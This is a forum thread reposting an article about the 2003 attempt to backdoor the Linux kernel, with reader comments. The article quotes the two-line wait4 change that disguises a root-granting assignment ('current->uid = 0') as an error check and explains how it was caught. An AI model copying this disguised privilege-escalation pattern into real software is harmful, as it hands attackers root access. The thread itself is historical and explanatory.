Posted on 10/10/2013 12:25:17 PM PDT by ShadowAce
Josh wrote recently about a serious security bug that appeared in Debian Linux back in 2006, and whether it was really a backdoor inserted by the NSA. (He concluded that it probably was not.)
Today I want to write about another incident, in 2003, in which someone tried to backdoor the Linux kernel. This one was definitely an attempt to insert a backdoor. But we dont know who it was that made the attemptand we probably never will.
Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. Every change to the master code would come with a short explanation, which always included a pointer to the record of its approval.
But some people didnt like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. The CVS copy of the code was a direct clone of the primary BitKeeper copy.
But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in (electronically) to the CVS server and inserted this change.
What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
[Exercise for readers who know the C programming language: What is unusual about this code? Answer appears below.]
A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said = 0 rather than == 0. The normal thing to write in code like this is == 0, which tests whether the user ID of the currently running code (current->uid) is equal to zero, without modifying the user ID. But what actually appears is = 0, which has the effect of setting the user ID to zero.
Setting the user ID to zero is a problem because user ID number zero is the root user, which is allowed to do absolutely anything it wantsto access all data, change the behavior of all code, and to compromise entirely the security of all parts of the system. So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words its a classic backdoor.
This is a very clever piece of work. It looks like innocuous error checking, but its really a back door. And it was slipped into the code outside the normal approval process, to avoid any possibility that the approval process would notice what was up.
But the attempt didnt work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. Score one for Linux.
Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack. Unless somebody confesses, or a smoking-gun document turns up, well never know.
/johnny
But it does show how open source is more secure than closed source.
A very clever backdoor indeed. Good plausible deniability too, since this is such a common typo for C programmers, and one that isn’t even caught by syntax checkers, since it is still perfectly valid syntax. If they ever did track down who inserted it, they couldn’t prove that someone didn’t just “goof up” and forget the second equal sign.
“But it does show how open source is more secure than closed source.”
Yes, in one way it is. In another way, it isn’t.
If a flaw does get past the many eyes of the open source community, into the code, then it sits there waiting for anyone to notice it and exploit it. With closed source, such a flaw would need to be found more by trial and error.
Yep. I looked right at it and didn’t see it. BTT
The PRC, Russia, NSA, a private group of would be hackers etc.
Lots of suspects here.
/johnny
/johnny
True, you just have to hope the first one to notice it is someone with scruples :)
Yes, it's actually a C idiom. E.g., to process the contents of a file:
while (bytes_read = read(buffer)) { // Work with buffer } // ... Dropped out of read loop because zero bytes were read
Commonly used compilers can be set to warn when the above is used, requiring it to be changed to:
while ((bytes_read = read(buffer)) != 0) { // Work with buffer } // ... Dropped out of read loop because zero bytes were read
to avoid the warning. Of course, the assignment still takes place whether the target is bytes_read or current->uid.
/johnny
someone should have tested it with the __WCLONE option at least once to see if it returned -EINVAL
was it caught by unit testing? if not, it should have been
could have been sloppy code. that wouldn’t surprise me. better hacks involve pts to functions buried in hex tables of object code
No need to unit test two lines when you know what those two lines are and can read the code.
The fact that it was slipped in without approval would draw attention to it.
A smart hacker would realize that.
It’s pretty “ambitous” for a hacker to think they can get a backdoor into code that’s reviewed publicly.
If something is going to slip through, it would have to be very subtle, most certainly involving the interaction between different parts of the system, and these would be probably be maintained by different people.
There was not any sophistication to this attempt.
IMHO, it was either very halfhearted, sort of just poking around, or attempted by someone who’s rather half-witted.
Much more effective hacking would be to not try to put an explicit backdoor into Linux itself but to hack one machine at a time the old fashioned way, using the tools available and inherent weaknesses they imply.
Of course, once an individual computer is compromised, malware can be used for all sorts of things.
Linux, for example, as things like tcpdump that root can use to grab any or all network traffic using only a script, not even compiled programs.
Yeah, that can be a handy way to save typing another line of code, when it’s used intentionally. Unintentionally, it can cause you to pull your hair out trying to debug :)
“could have been sloppy code. that wouldnt surprise me. better hacks involve pts to functions buried in hex tables of object code”
Yeah, but I think that’s exactly what makes this a good hack, in a way. It COULD just be sloppy code. And sloppy code can slip past a lot of eyes, sometimes.
Possibly one of the most interesting articles I’ve ever read on FR! I wonder what Linus would say about this.
someone should have tested it with the __WCLONE option at least once to see if it returned -EINVAL
if ((options == (__WCLONE|__WALL))
Whether this itself makes sense (i.e. to only take the conditional if both
flags are set) or it this would tend to be something with some more
devious intent - I don’t have enough knowledge to say.
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.